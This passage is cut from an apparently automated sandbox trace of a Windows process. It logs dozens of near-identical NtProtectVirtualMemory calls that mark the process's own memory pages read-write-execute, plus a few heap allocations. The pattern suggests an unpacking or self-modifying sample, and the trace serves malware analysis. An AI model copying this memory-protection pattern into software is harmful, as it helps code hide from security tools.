OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.922] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.944] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x2000) returned 0x929a50 [0247.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.976] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0247.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.046] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x928a48) returned 1 [0248.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.122] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.188] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.207] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x3000) returned 0x92ba58 [0248.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.265] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x929a50) returned 1 [0248.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.397] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x4000) returned 0x92ea60 [0248.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.482] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.551] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92ba58) returned 1 [0248.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.747] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.769] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.898] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x5000) returned 0x928a48 [0248.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.974] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92ea60) returned 1 [0248.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0248.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0249.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 